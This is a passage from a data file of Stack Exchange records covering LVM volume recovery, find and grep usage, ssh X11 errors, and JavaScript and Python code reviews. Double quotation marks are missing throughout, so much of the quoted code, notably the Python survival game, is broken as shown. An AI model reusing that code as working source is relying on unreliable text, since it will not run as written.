sudo vgs  Couldn't find device with uuid uZ1fiS-5Wo4-VNzC-gzs0-ekVz-Bepn-1MZe82.  VG   #PV #LV #SN Attr   VSize   VFree    Rand   1   2   0 wz--n- 111.55g      0   main   2   6   0 wz-pn-   1.82t 461.76g------------------------------------------------------------~  sudo vgscan  Reading all physical volumes.  This may take a while...  Found volume group Rand using metadata type lvm2  Couldn't find device with uuid uZ1fiS-5Wo4-VNzC-gzs0-ekVz-Bepn-1MZe82.  Found volume group main using metadata type lvm2------------------------------------------------------------~  sudo pvscan  Couldn't find device with uuid uZ1fiS-5Wo4-VNzC-gzs0-ekVz-Bepn-1MZe82.  PV /dev/sdb5        VG Rand   lvm2 [111.55 GiB / 0    free]  PV unknown device   VG main   lvm2 [1.36 TiB / 0    free]  PV /dev/sda1        VG main   lvm2 [465.76 GiB / 461.76 GiB free]  Total: 3 [1.93 TiB] / in use: 3 [1.93 TiB] / in no VG: 0 [0   ]------------------------------------------------------------"  , "title": "Is pvcreate destructive? Attempting to recover an lvm2 volume group"  , "tags": "linux;data recovery;lvm;jfs"  , "accepted_answer": "pvcreate writes PV metadata onto the device/partition, I think most would call that destructive however, since it's part of the LVM planning and layout it's also constructive. pvcreate could be destructive to data areas if any of the following parameters were changed to increase the metadata size or location.Depending on the command line options passed to pvcreate, one can write multiple copies of the metadata via --[pv]metadatacopies change the metadata size via --metadatasize change the data alignment via --dataalignment shift the start of the data area an additional alignment_offset via --dataalignmentoffset recreate a previous PV by specifying the UUID --uuid Also from the pvcreate man page.To see the location of the first Physical Extent of an existing Physical Volume use pvs -o +pe_start Typically, the metadata is written in the first few blocks of the device, up to the first usable PE, shown by pvs -o +pe_start and can be partially viewed by the following cmd.  dd if=/dev/sdb5 bs=4096 count=4 |less Using less instead of od because much of the metadata is clear text and less does a good job of handling both binary and text data.Personally, I always set metadata copies to be more than one.  "  } 
{  "id": "_unix.316137"  , "question": "I want to loop through thousands of folders all which contain a file called output(foldernumber).txt and check which of these output files DO NOT contain a keyword and have the script write out a list of these output files, so further analysis can be completed on them.This is what I have so far:a=1b=1for i in ~pwd ;do(cd $i/ && grep -L 'keyword' output$a.txt >> ../list.txt)a=$((a+b))doneErrors given say the output files do not exist and a blank list.txt file is made. Any advice please?"  , "title": "Loop round folders to find and list which folders contain a file excluding a keyword, in bash?"  , "tags": "find;file search"  , "accepted_answer": "find . -type f -regex .*/output[0-9]*\\.txt -exec grep -L 'keyword' '{}' +or find . -type f -regex .*/output[0-9]*\\.txt -print0 | xargs -0 grep -L 'keyword'"  } 
{  "id": "_cogsci.16170"  , "question": "Is it possible that the measured rise in average IQ in the last century is related to the discovery that drinking alcohol during pregnancy can result in birth defects, including issues with brain development?Has any work been done on this question?"  , "title": "Is the Flynn effect related to the discovery of Fetal Alcohol Syndrome?"  , "tags": "abnormal psychology;intelligence"  } 
{  "id": "_webmaster.95153"  , "question": "What steps have you taken? Would love to get some useful insight."  , "title": "What's the best way to secure wordpress site?"  , "tags": "wordpress"  } 
{  "id": "_softwareengineering.50381"  , "question": "I am a sandwich training student in a company that has a little informatics service who develop web appUntil today, they work with simple php, a little CSS and no version control. So, the code becomes unmaintainable.The project manager would like to use php object, and i am the only one with some knows in it. But i am still a beginner with no experience in web dev, and after some search i am afraid to building a php MVC alone.So my question is : Should i convince the team to start using a framework like symfony ( i'm feeling ok to use it ) with the big change it impose to the team, or simply bring a better work structure with version control and tools like an ORM ?Thanks for your helpEDITED : with the hope it's now understandable"  , "title": "What tools or way to start a web project"  , "tags": "web development;development process;web framework"  , "accepted_answer": "You want to change 2 thing technology and process. My advice is not to change them at once ,there is a real change this is a to big step for the team resulting in a fall back to the old habits. I would recommend to start with the process and introduce version control. In this way changes are better traceable and when changing the technology you can fall back on source control when needed."  } 
{  "id": "_unix.230579"  , "question": "Is the purpose of rsyslogd to handle logging of applications in userspace? For example i have 5 Jboss instances running on a server with custum applications running inside them. They all produce there own logfiles. I now want to aggregate the 5 files into one and send this aggregated stream of logfiles out on the network. Is this sort of thing what rsyslogd is constructed for?"  , "title": "rsyslogd used with any application or only Linux system logging?"  , "tags": "logs;rsyslog"  } 
{  "id": "_unix.171306"  , "question": "TLDRHave I confused git-annex into thinking one machine is actually two?BackgroundI have a git-annex repository that has copies on three machines: Watt, Einstein, and Heisenberg in addition to a special remote on S3. Einstein is a server, and has both external public IPs and internal private (RFC1918) ones. Watt is on the LAN, and uses Einstein's LAN IP. Heisenberg is a laptop, so uses one of its public IPs (so it can still sync even when remote).When I run git-annex map on Watt, this is what I get:(Note that HeisenbergW5 is one of Heisenberg's host names, it has multiple interfaces...)The QuestionThat looks awfully like git-annex doesn't realize the Einstein that Heisenberg is sync'ing with is the same as the one Watt is sync'ing with (but, oddly, only in one direction). Do I need to worry about this, or is it just a minor issue with git-annex map?"  , "title": "Why doesn't git-annex map realize Einstein is one repository?"  , "tags": "git annex"  } 
{  "id": "_softwareengineering.179719"  , "question": "I was wondering if there's some software to manage a XP project. I'm starting a school project and I want to follow this methodology, but, we don't have a place to work. Each one works at home (in pairs), therefore I can't follow XP ambient patterns.So, anyone knows of any software to manage this?"  , "title": "Is there some software to manage a XP Project?"  , "tags": "project management;patterns and practices;extreme programming"  , "accepted_answer": "XP is agile and extreme. If management is bad, XP makes the worst enemy out of it, so that the management is undefined :)CardsCRC cards can be used regardless of the process for as long as you follow OOP, same for prototyping which I'd expect mentioned here. PrototypingIn XP, the idea is typically first coded as a small prototype and then either thrown away for a better idea, or refactored into the final solution. (details)Pair ProgrammingThis is one important aspect of XP which you won't achieve by remote collaboration. A couple of programmers (not a love couple) sits at the same table with just one keyboard. While one person writes the code the other is meant to correct him or suggest useful improvements. (details)ReportingXP is iterative and incremental. There can be a release plan with features on the CRC cards and the schedule in which they are meant to be implemented. For every planned release, pile up some cards. Be careful not to exceed the available slot. You need to be measuring whether all those cards fit in, as explained in the next point.Release & Iteration PlanningFirst take one CRC card which you consider a small task, implement it, measure it, and then try to size the card to other cards. How many times bigger are the tasks on other cards compared to the card you've taken for your sizing? Use this technique to roughly estimate the size, so that you can stuff the right amount of work into each iteration.RisksThe biggest risk of XP, in my opinion, is unnecessary rework caused by unclear / unstable requirements or too much refactoring caused by the two programmers striving for perfection. Secondly, there is a risk the two programmers won't get along well. This may happen surprisingly often, providing they haven't been working together previously in this setup. XP is still a big experiment. I wouldn't consider it as reliable and dependable as conventional techniques such as the Unified Process.ApplicabilityThis is up to you to decide. Where may XP apply well and why?Software ToolsAlthough I am unaware of any specific XP project management software, other software may fit the purpose, such as CASE tools supporting CRC modelling and any Agile release / iteration planning software.For example:QuickCRC, Visual Paradigm, others. (CRC)Atlassian Greenhopper, VersionOne, Extreme Planner (Release / Iteration planning)Since you are collaborating remotely, consider also using some team collaboration software, such as Atlassian JIRA."  } 
{  "id": "_unix.147684"  , "question": "I have been trying to ssh -X to my cluster running OpenSUSE 11.2. It used to work well for me. But now I get this message:X11 connection rejected because of wrong authentication.Failed to open the X11 display!So I tried to check the ownership and permission of the .Xauthority file usingsudo ls -al .Xauthorityand I get to see that the file is empty with size 0:-rw------- 1 <my-user-name> users 0 2014-07-31 10:03 .XauthorityWhen I log in with ssh -XvI get the following when i try to open xlockdebug1: client_input_channel_open: ctype x11 rchan 3 win 65536 max 16384debug1: client_request_x11: request from ::1 53267debug1: channel 1: new [x11]debug1: confirm x11X11 connection rejected because of wrong authentication.debug1: channel 1: free: x11, nchannels 2Error: Can't open display: localhost:10.0How would I fix this?"  , "title": ".Xauthority file is empty"  , "tags": "ssh;x11;opensuse;xauth"  } 
{  "id": "_codereview.47918"  , "question": "Looking for help refactoring the following code to follow a Functional Programming paradigm.The first function builds a configuration object with default settings and optional presets, while the buildResourcePath will assemble a URL for the image service.getSizedUrl and getSizedSkuUrl returns a URL that will be used for an image tag.var imgSvcPath = './imageSizer.svc';    /** * configureImg * Build a configurtion object with sane defaults applied that can be used to construct a url for the ImageResizer service */function configureImg( options ){    options = options || {};    var defaults = {            type: null,            src: '',            width: 120,            height: null        },        // use Image presets if an option.type provided        presets = options.type ? Images.getPresets( options.type ) : {};    return $.extend( defaults, options, presets );};/** * buildResourcePath * Construct a url for the ImageResize service to be used for the src of <img /> */function buildResourcePath( svcName, options ){    // imageSizer.svc/GetResizedImage?path=[path]&size=[size]&quality=[quality]    var resourcePath = [],        conf = configureImg( options ),        src = ( conf.skuId !== undefined )            ? '?sku=' + conf.skuId            : '?path=' + encodeURI( conf.src ),        size = '&size=' + ( conf.height ? 'h|' + conf.height : 'w|' + conf.width ),        quality = conf.quality ? '&quality=' + conf.quality : '';    resourcePath.push( imgSvcPath, svcName, src, size, quality );    return resourcePath.join( '' );};/** * getSizedUrl * return src of <img /> for GetResizedImage */var getSizedUrl = function( options ){    if( 'undefined' === typeof options.src ) {        console.error( 'upi.Services.Image::getSizedUrl configuration options must provide an image src string' );    }    return buildResourcePath( 'GetResizedImage', options );};/** * getSizedSkuUrl * return src for an <img /> for GetResizedSkuImage */var getSizedUrlForSku = function( skuId, options ){    if( 'undefined' === typeof skuId ) {        console.error( 'upi.Services.Image::getSizedSkuUrl configuration options must provide sku ID' );    }    options = options || {};    options[ 'skuId' ] = skuId;    return buildResourcePath( 'GetResizedSkuImage', options );};Image = {    getSizedUrlForSku: getSizedUrlForSku,    getSizedUrl: getSizedUrl};"  , "title": "Refactor module for calls to internal image service"  , "tags": "javascript;functional programming;url"  } 
{  "id": "_unix.22747"  , "question": "I'm trying to find files which are owned and have the primary group of root. Is there a parameter available to search for files like this? It's critical that all files in a certain directory not be owned by root, so I'd like to check periodically to make sure that someone on the server isn't accidentally creating files owned by root (namely me). Sure, chown -R user:user /path works, but I'd like to be able to check."  , "title": "Finding files by their owner and file permissions"  , "tags": "find"  , "accepted_answer": "man find:  -group gname         File belongs to group gname (numeric group ID allowed).  -user uname         File is owned by user uname (numeric user ID allowed)."  } 
{  "id": "_codereview.166332"  , "question": "I have recently made a text based survival game.I hope that I can improve the game but I am not sure where I can improve it. Please do help me out and thank you for playing, hope you enjoy!PS It is NOT EASY, don't expect to get over it the first time#importimport random#functionsdef GenerateRandomScene():    scenes = ['Riverside','Top of the Mountain','Middle of Forest','Mountain Side']#desert excluded    water = [True,False]    startitems = ['Match','Match','Match','Match','Match','Pocket Knive','Jacket','Full Bottle of Clean Water','Full Bottle of Clean Water','Energy Bar','Banadges','Walking Stick','Journal','Match','Tea Leaves','Cooking Set']    randomstarting1 = ['Magnesium Fire Starter', 'Warming Pack', 'Sleeping Bag', 'Axe', 'Torch']    randomstarting2 = ['Batteries', 'Bucket', 'Vaseline', 'Hygiene Kit', 'String', 'Camp Set']    sceneforplayer = random.choice(scenes)    if sceneforplayer == 'Riverside':        water = True    elif sceneforplayer == 'Desert':        water = False    else:        water = random.choice(water)    startitems.append(random.choice(randomstarting1))    startitems.append(random.choice(randomstarting2))    return [[random.randint(50,100),sceneforplayer,water],startitems]def GenerateRandomExplore(scene):    itemscanbeobtained = ['Berries', 'Mushrooms', 'Tree Bark', 'Plant Fibre', 'Dead Grass', 'Dead Hare', 'Bones','Water Puddle']    retlist = []    if scene == 'Riverside':        for i in range(random.randint(0,3)):            retlist.append(random.choice(itemscanbeobtained))        return retlist    elif scene == 'Top of the Mountain':        itemscanbeobtained.remove('Berries')        itemscanbeobtained.remove('Mushrooms')        itemscanbeobtained.remove('Dead Hare')        itemscanbeobtained.append('Dead Birds')        itemscanbeobtained.append('Bait')        itemscanbeobtained.append('Bird Nest')        for i in range(random.randint(0,3)):            retlist.append(random.choice(itemscanbeobtained))        return retlist    elif scene == 'Middle of Forest':        itemscanbeobtained.append('Bait')        itemscanbeobtained.append('Bird Nest')        for i in range(random.randint(0,3)):            retlist.append(random.choice(itemscanbeobtained))        return retlist    elif scene == 'Desert':        itemscanbeobtained = ['Catti', 'Dead Catti Skin', 'Tree Bark', 'Stick', 'Well', 'Bones']        for i in range(random.randint(0,3)):            retlist.append(random.choice(itemscanbeobtained))        return retlist    else:        itemscanbeobtained.remove('Berries')        itemscanbeobtained.remove('Mushrooms')        itemscanbeobtained.remove('Dead Hare')        itemscanbeobtained.append('Dead Birds')        itemscanbeobtained.append('Bait')        itemscanbeobtained.append('Bird Nest')        for i in range(random.randint(0, 3)):            retlist.append(random.choice(itemscanbeobtained))        return retlistdef GetWood(inventory):    if 'Axe' in inventory:        minnum = 3        maxnum = 7    else:        minnum = 1        maxnum = 5    return random.randint(minnum,maxnum)def Hunting(location,inventory,water):    fishingrod = SearchItem('Fishing Rod',inventory)    hygiene = SearchItem('Hygiene Kit',inventory)    prey = ['bear','lion','cheetah','deer','cow','pig','fox','wolf','rabbit','toad','','','']    if fishingrod != 0 and water:        prey.append('fish')    if hygiene != 0:        for i in range(2):            prey.append('deer')            prey.append('cow')            prey.append('pig')            prey.append('fox')            prey.append('wolf')            prey.append('rabbit')            prey.append('toad')    desertprey = ['camel','','','','','','','scorpian','poisonous scorpian']    if location == 'Desert':        appear = random.choice(desertprey)        if appear == 'poisonous scorpian':            return [appear,'lethal']        else:            return [appear,'True']    else:        appear = random.choice(prey)        if appear in ['bear','lion','cheetah']:            success = random.choice(['True','False','False','False','False','False','False','False','False','False','False'])            if success == 'False':                injury = random.choice(['leg','arm','chest','broken ribs','broken leg','neck','lethal'])                return [appear,injury]            else:                return [appear,success]        else:            return [appear,'True']def Menu(hydration,heat,hour,watersource,dndeterminer,dist,hunger):    if hour > 12:        hour = hour - 12        if dndeterminer == 0:            dndeterminer = 1        elif dndeterminer == 1:            dndeterminer = 0    if dndeterminer == 1:        print There are +str(12-hour)+ hours of night time left    else:        print There are +str(12-hour)+ hours of day time left    print '1. Chop Trees'    print '2. Make Fire'    print '3. Discover'    print '4. Read The Rule of 3'    print '5. Rest'    print '6. Hunt'    print '7. Walk'    print '8. Craft'    print '9. View Inventory'    print '10. Drink Water'    print '11. Eat'    print '12. Use Items'    print '13. Build Shelter'    if watersource:        print There are Water Sources around You        print '14. Get Water'    print 'Hydration: '+str(hydration)    print 'Body Heat: '+str(heat)    print Hunger: +str(hunger)    print 'Distance between Civilisation: '+str(dist)+ ' km'    print    return [raw_input('Action >>> '),hour,dndeterminer]def Ruleof3():    print '3 mins without air'    print '3 hours without shelter'    print '3 days without water'    print '3 weeks without food'    print '3 months without hope'def Intro():    print Welcome!    print This game is all about your survival techinques    print Always Remember the rule of 3    Ruleof3()    scene = GenerateRandomScene()    print Your charactor is trapped in a +scene[0][1]    print The distance to civilisation is +str(scene[0][0])+ km    print Your aim is to help your charactor survive    DisplayInventoryTry2(scene[1])    return scenedef Walk(dist,hydration,heat,inventory,dndeterminer):    if 'Walking Stick' in inventory:        maxwalking = 8    else:        maxwalking = 5    if dndeterminer == 1 and (Torch not in inventory or Fire Torch not in inventory):        maxwalking = 2    walked = random.randint(1,maxwalking)    dist -= walked    hydration -= 10    heat += 10    return [walked,hydration,heat]def DisplayInventoryTry2(inventory):    amtcount = []    amtcountunique = []    for i in range(len(inventory)):        if inventory[i] not in amtcountunique:            amtcount.append([inventory[i],1])            amtcountunique.append(inventory[i])        else:            for x in amtcount:                if inventory[i] == x[0]:                    x[1]+=1    print You have:     for i in amtcount:        print str(i[1])+ x +str(i[0])def DrinkWater(inventory):    amtcount = []    amtcountunique = []    water = []    for i in range(len(inventory)):        if inventory[i] not in amtcountunique:            amtcount.append([inventory[i], 1])            amtcountunique.append(inventory[i])        else:            for x in amtcount:                if inventory[i] == x[0]:                    x[1] += 1    for i in amtcount:        if i[0] in [Full Bottle of Clean Water,Full Bottle of Dirty Water]:            water.append(i)    if water[0][0] == Full Bottle of Dirty Water:        water[0],water[1] = water[1],water[0]    print You have:     if len(water) != 0:        for i in range(len(water)):            print str(i+1)+.  + str(water[i][1])+ x +str(water[i][0])        print Which water would you want to drink?         waters = raw_input(>>> )        if waters == '1':            if water[0][1] - 1 >= 0:                inventory.remove('Full Bottle of Clean Water')                inventory.append('Empty Bottle')                return [50, inventory]        elif waters[0] == '2':                if water[1][1] - 1 >= 0:                    inventory.remove('Full Bottle of Dirty Water')                    inventory.append('Empty Bottle')                    if random.randint(1,10)  < random.randint(1,10):                        return [30,inventory]                    else:                        print The water is contaminated. Hydration - 30!                        return [-30,inventory]        else:            print Invalid Choice, No Such Choice Exists    else:        print You have no water suppliesdef CheckValidBody(hydration):    if hydration > 100:        hydration = 100        return hydration    else:        return hydrationdef CheckValidHunger(hydration):    if hydration < 0:        hydration = 0        return hydration    else:        return hydrationdef SearchItem(item,inventory):    amtcount = []    amtcountunique = []    for i in range(len(inventory)):        if inventory[i] not in amtcountunique:            amtcount.append([inventory[i], 1])            amtcountunique.append(inventory[i])        else:            for x in amtcount:                if inventory[i] == x[0]:                    x[1] += 1    for i in amtcount:        if i[0] == item:            amount = i[1]    try:        return amount    except:        return 0def ReplaceItem(item,changeto, inventory):    inventoryx = inventory    inventoryx.remove(item)    for i in range(len(inventory)-len(inventoryx)):        inventory.append(changeto)    return inventoryxdef MakeFire(inventory):    inventoryx = FireLightingMethod(inventory)    if inventoryx == inventory:        print You cannot light fire as you do not have enough tinder        return [0,inventory]    else:        print 'Fire Lighted!'        print 'Body Heat + 30!'        return [30,inventoryx]def SearchFood(inventory):    food = ['berries',            'mushrooms',            'bear flesh',            'lion flesh',            'cheetah flesh',            'deer flesh',            'cow flesh',            'pig flesh',            'fox flesh',            'wolf flesh',            'rabbit flesh',            'toad flesh',            'camel flesh',            'scorpian flesh',            'poisonous scorpian flesh',            'fish']    energy = [15,15,40,70,70,40,50,40,20,20,40,20,40,20,20,60]    ownedfood = []    for i in inventory:        if i in food:            ownedfood.append(i)    if len(ownedfood) == 0:        print You do not have any food    else:        DisplayInventoryTry2(ownedfood)        print What do you want to eat?        consume = raw_input(>>> ).lower()        for i in ownedfood:            if consume == i:                owned = True            else:                owned = False        if not owned:            print You do not have this food        else:            inventory.remove(consume)            if consume == 'rabbit flesh':                inventory.append('rabbit skin')            for i in range(len(food)):                if food[i] == consume:                    energy = energy[i]            return [inventory,energy]def CraftingList():    print >>> Crafting List <<<    print 1. Tinder: 1 x Wood > 3 x Tinder    print 2. String: 1 x Plant Fibre > 1 x String    print 3. String: 1 x Dead Grass > 1 x String    print 4. String: 1 x Cloth > 2 x String    print 5. Cloth: 1 x Clothes > 3 x Cloth ***Tearing Clothes will increase the rate of heat loss!    print 6. Bow Drill: 1 x String, 2 x Wood > 1 x Bow Drill    print 7. Bone Knive: 1 x Bone, 1 x String > 1 x Bone Knive    print 8. Bandage: 1 x Cloth > 3 x Bandage    print 9. Fire Torch: 1 x Wood, 1 x String, 1 x Vaseline, 1 x Tree Bark > 1 x Fire Torch    print 10. Fishing Rod: 1 x Wood, 1 x String, 1 x Knive > 1 x Fishing Rod    print 11. Water Bottle: 1 x Rabbit Skin > 1 x Water Bottle    print Which one do you want to craft?    print    return raw_input(>>> )def CraftItem(inventory,required_materials,crafted):    amtcount = []    amtcountunique = []    consumestr =     for i in range(len(required_materials)):        if required_materials[i] not in amtcountunique:            amtcount.append([required_materials[i],1])            amtcountunique.append(required_materials[i])        else:            for x in amtcount:                if required_materials[i] == x[0]:                    x[1]+=1    for i in amtcount:        consumestr = consumestr + str(i[1])+ x +str(i[0]) +      craftedstr = str(crafted[1])+ x +str(crafted[0])    print Crafting +str(craftedstr)+ will consume +str(consumestr)    print Are you sure?    confirmation = raw_input(Y / N >>> )    if confirmation.lower() == y:        try:            for i in required_materials:                inventory.remove(i)            for i in range(int(crafted[1])):                inventory.append(crafted[0])            return inventory        except:            print You are missing some indgredients            return inventorydef FireLightingMethod(inventory):    lightingitems = ['Bow Drill', 'Match', 'Magnesium Fire Starter', 'Batteries']    ownedlighting = []    for i in inventory:        if i in lightingitems:            ownedlighting.append(i)    print You have these lighting items:    DisplayInventoryTry2(ownedlighting)    print Which one do you want to use to light?    tolight = raw_input(>>> ).lower()    found = False    for i in ownedlighting:        if tolight == i.lower():            removeitem = i            found = True    if not found:        print You cannot light fire as you do not have the item    for i in inventory:        if i == 'Tinder':            if tolight == 'match':                inventory.remove(removeitem)            else:                pass            inventory.remove('Tinder')    return inventorydef UseableItemsOutput(inventory):    useableitems = ['Tea Leaves','Warming Pack','Energy Bar']    useableowned = []    for i in inventory:        if i in useableitems:            useableowned.append(i)    if len(useableowned) != 0:        print 'You own these useable items:'        DisplayInventoryTry2(useableowned)        print >>> Which one do you want to use? <<<        use = raw_input(Please type in the full item name >>> ).lower()        for i in useableowned:            if use == i.lower():                inventory.remove(i)                return [inventory,i]                break    else:        print 'You do not own any useable items'def UsedItem(hydration,heat,hunger,useitem):    import time    useableitems = ['Tea Leaves', 'Warming Pack', 'Energy Bar']    if useitem not in useableitems:        print Error 001, item to use is not in the Useable Items List!        print Creating Crash Log.        f = open('CrashLog: Error 001','a+')        f.writelines(time.asctime())        f.writelines('Item To Use: '+useitem)        f.close()        raise ValueError,'item to use is not in the Useable Items List!'    else:        if useitem == useableitems[0]:            hydration = 100            print Hydration Restored to 100        elif useitem == useableitems[1]:            heat = 100            print Heat Restored to 100        elif useitem == useableitems[2]:            hunger -= 30            print Hunger - 30        return [hydration,heat,hunger]#Variablesinform = Intro()dist = inform[0][0]scene = inform[0][1]watersource = inform[0][2]startingitems = inform[1]hour = 0dndeterminer = 0hydration = 100heat = 100hunger = 0shelter = Falseclothing = True#__main__while dist > 0:    if hydration > 0 and heat > 0 and hunger < 100:        print        if not clothing:            #for minising            heat -= 5        action = Menu(hydration,heat,hour,watersource,dndeterminer,dist,hunger)        hour = action[1]        dndeterminer = action[2]        action = action[0]        if action == '1':            if dndeterminer == 0:                wood = GetWood(startingitems)            else:                wood = random.randint(0,2)            for i in range(wood):                startingitems.append('Wood')            print str(wood) + ' log(s) are obtained'            hour += 1            heat += 10            heat = CheckValidBody(heat)            hydration -= 15            hunger += 5            hydration = CheckValidBody(hydration)            print You used 1 hour to collect some logs        elif action == '2':            fire = MakeFire(startingitems)            startingitems = fire[1]            heat += fire[0]            try:                startingitems = ReplaceItem('Full Bottle of Dirty Water','Full Bottle of Clean Water', startingitems)                print Water Purified!            except:                pass        elif action == '3':            if dndeterminer == 0:                discover = GenerateRandomExplore(scene)                discover_str = ''            else:                discover = [Nothing]                discover_str = ''            if discover != []:                for i in discover:                    discover_str = discover_str + i + ' '                    startingitems.append(i)                print discover_str + 'is/are obtained'            else:                print Nothing is found            hour += 1            heat += 10            heat = CheckValidBody(heat)            hydration -= 10            hunger += 10            hydration = CheckValidBody(hydration)            print You have used 1 hour to explore around you        elif action == '4':            # this line is used for minising            Ruleof3()        elif action == '5':            hour += 5            print You have used 5 hours to rest, energy is restored            hydration -= 5            if shelter:                pass            else:                heat -= 15            if 'Sleeping Bag' in startingitems:                heat += 20            hunger += 15            heat = CheckValidBody(heat)            hydration = CheckValidBody(hydration)        elif action == '6':            captured = Hunting(scene,startingitems,watersource)            hour += 1            if captured[1] == 'True' and captured[0] != 'poisonous scorpian':                if captured[0]:                    print You saw a +captured[0]+ and you captured it                    startingitems.append((captured[0]+' flesh'))                    print 'You have used 1 hour to hunt'                    hydration -= 15                    hydration = CheckValidBody(hydration)                    heat += 15                    heat = CheckValidBody(heat)                else:                    print You didn't see anything            elif captured[1] == 'False':                print You saw a +captured[0]+ and it escaped... bad luck!            else:                print You saw a +captured[0]+ and it attacked you, causing a +captured[1]+ injury!                if captured[1] in ['broken ribs','lethal','neck']:                    print You died                    dist = 0            hunger += 20        elif action == '7':            walked = Walk(dist,hydration,heat,startingitems,dndeterminer)            hour += 4            dist -= walked[0]            hydration = walked[1]            hydration = CheckValidBody(hydration)            heat = walked[2]            heat = CheckValidBody(heat)            watersource = random.choice([True,False])            print You have used 4 hours to walk +str(walked[0])+ km            hunger += 20        elif action == '8':            craft = CraftingList()            if craft == 1:                startingitems = CraftItem(startingitems, [Wood], [Tinder, 3])            elif craft == 2:                startingitems = CraftItem(startingitems, [Plant Fibre], [String, 1])            elif craft == 3:                startingitems = CraftItem(startingitems, [Dead Grass], [String, 1])            elif craft == 4:                startingitems = CraftItem(startingitems, [Cloth], [String, 2])            elif craft == 5:                startingitemsx = CraftItem(startingitems, [Clothes], [Cloth, 3])                if startingitemsx != startingitems:                    clothing = False                startingitemsx = startingitems            elif craft == 6:                startingitems = CraftItem(startingitems, [String,Wood,Wood], [Bow Drill, 1])            elif craft == 7:                startingitems = CraftItem(startingitems, [Bone,String], [Bone Knive, 1])            elif craft == 8:                startingitems = CraftItem(startingitems, [Cloth], [Bandage, 3])            elif craft == 9:                startingitems = CraftItem(startingitems, [Wood,Vaseline,String,Tree Bark], [Fire Torch, 1])            elif craft == 10:                startingitems = CraftItem(startingitems, [Wood,String,Knive], [Fishing Rod, 1])            elif craft == 11:                startingitems = CraftItem(startingitems, [Rabbit Skin], [Water Bottle, 1])            else:                print This is not a valid choice        elif action == '9':            #this line is used for minising            DisplayInventoryTry2(startingitems)        elif action == '10':            water = DrinkWater(startingitems)            try:                hydration += water[0]                hydration = CheckValidBody(hydration)                startingitems = water[1]            except:                pass        elif action == '11':            print Energy Bars are in Use Items Section. It has an amazing buff!            food = SearchFood(startingitems)            try:                startingitems = food[0]                hunger -= food[1]                CheckValidHunger(hunger)            except:                pass        elif action == '12':            check = UseableItemsOutput(startingitems)            startingitems = check[0]            used = check[1]            useitem = UsedItem(hydration,heat,hunger,used)            hydration = useitem[0]            heat = useitem[1]            hunger = CheckValidHunger(useitem[2])        elif action == '13':            if 'Camp Set' in startingitems:                hour += 1            else:                hour += 4            print Shelter Built, Rest would not decrease heat.        elif action == '14':            if watersource:                emptybottles = SearchItem('Empty Bottle',startingitems)                if emptybottles == 0:                    print You do not have empty bottles                else:                    startingitems = ReplaceItem('Empty Bottle',Full Bottle of Dirty Water,startingitems)                    print str(emptybottles)+' x Empty Bottles has been filled up to '+str(emptybottles)+' x Full Bottle of Dirty Water'                    hunger += 5            else:                print This is not a valid input        else:            # this line is used for minising            print This is not a valid input!    else:        dist = 0        if hydration <= 0:            print You died of thirst            print GAME OVER...        elif heat <= 0:            print You died of hypothermia            print GAME OVER...        elif hunger >= 100:            print You have starved to death            print GAME OVER...if dist <= 0 and hydration > 0 and heat > 0 and hunger < 100:    print WELL DONE!    print YOU SURVIVED!!!!!Well, you might ask what happened to the desert? I think the desert is a bit too troublesome because there are different logics to the normal game. This game is inspired by the android game Survive.Please do enjoy playing my game, and if there are anything to improve please do comment so I can improve it!"  , "title": "A Survival Game"  , "tags": "python;game;adventure game;python 2.6"  , "accepted_answer": "StyleThere's a standard coding style recommendation for Python called PEP8.It's strongly recommended to follow that as much as possible.Avoid assigning to a different typeThis statement assigns a simple value to a variable that was originally list:action = action[0]This is a bad practice that makes it harder to understand the code.It's better to use a different name,and avoid reassigning a value to a different type.Unnecessary conditionsInstead of this:if hydration < 0:    hydration = 0    return hydrationelse:    return hydrationIt would be simpler and better like this:if hydration < 0:    hydration = 0return hydrationFragile menusThe menu handling in Menu and in CraftingList is very fragile.The text presented to the user is a hard-coded text.The code that uses these menus checks the choice by hard-coded values,such as 1, 2, and so on.The problem with this is that if you later need to make a change to a number in the text, you have to remember to change everywhere it is used.The worst is if you need to insert a new menu option in the middle,let's say position 3, and then you have to shift all other options and all the code that uses them.You may also mistake a condition by using the incorrect number that doesn't correspond to the intended choice.It would be better to encapsulate the menu choices in a data type,let's call it a MenuItem.Each MenuItem instance could have a number by which users can select them,and a text that is displayed.The menu could be built from the list of MenuItem instances,instead of a hardcoded text.And then the code checking the selected value could be intention revealing, for example:if craft == items.bow_drill:    # ...elif craft == items.bone_knife:    # ...And so on.This kind of approach will eliminate the hard-coding,and many potential errors in future modifications, oversight,and improve the readability.Magic valuesThere are many values that appear at multiple places in the code,for example the names of the scenes like Top of the Mountain.The problem with that is if one day you decide to make a small change,you have to remember to make that change in multiple places.It's better to create constants for such hardcoded values,so the concrete values are written at one place,and whenever you need to use it,you refer to it using the constant.Don't repeat yourselfThis chunk of code appears twice:itemscanbeobtained.remove('Berries')itemscanbeobtained.remove('Mushrooms')itemscanbeobtained.remove('Dead Hare')itemscanbeobtained.append('Dead Birds')itemscanbeobtained.append('Bait')itemscanbeobtained.append('Bird Nest')for i in range(random.randint(0, 3)):    retlist.append(random.choice(itemscanbeobtained))return retlistIt would be better to avoid such duplication of logic by extracting to a helper function.Note that in Python you can define functions within functions,so when a block of code is duplicated within a function and never used outside,then the helper function could be inside the function that uses it."  } 
{  "id": "_unix.350896"  , "question": "I have a problem with used space and available disk space in lvm.Please see this results :[root@localhost ~]# vgs  VG       #PV #LV #SN Attr   VSize VFree  VolGroup   3   3   0 wz--n- 6.78t 736.00m[root@localhost ~]# pvs  PV         VG       Fmt  Attr PSize   PFree  /dev/sda2  VolGroup lvm2 a--u   3.50t      0  /dev/sdb1  VolGroup lvm2 a--u   2.50t      0  /dev/sdb2  VolGroup lvm2 a--u 798.72g 736.00m[root@localhost ~]# lvs  LV      VG       Attr       LSize  Pool Origin Data%  Meta%  Move Log Cpy%Sync Convert  lv_home VolGroup -wi-ao----  6.73t  lv_root VolGroup -wi-ao---- 50.00g  lv_swap VolGroup -wi-ao----  4.90g[root@localhost ~]# df -hFilesystem            Size  Used Avail Use% Mounted on/dev/mapper/VolGroup-lv_root                       50G  2.5G   45G   6% /tmpfs                 4.9G     0  4.9G   0% /dev/shm/dev/sda1             477M   28M  425M   7% /boot/dev/mapper/VolGroup-lv_home                      6.7T  5.8T  531G  92% /home[root@localhost ~]# df -ThFilesystem           Type   Size  Used Avail Use% Mounted on/dev/mapper/VolGroup-lv_root                     ext4    50G  2.5G   45G   6% /tmpfs                tmpfs  4.9G     0  4.9G   0% /dev/shm/dev/sda1            ext4   477M   28M  425M   7% /boot/dev/mapper/VolGroup-lv_home                     ext4 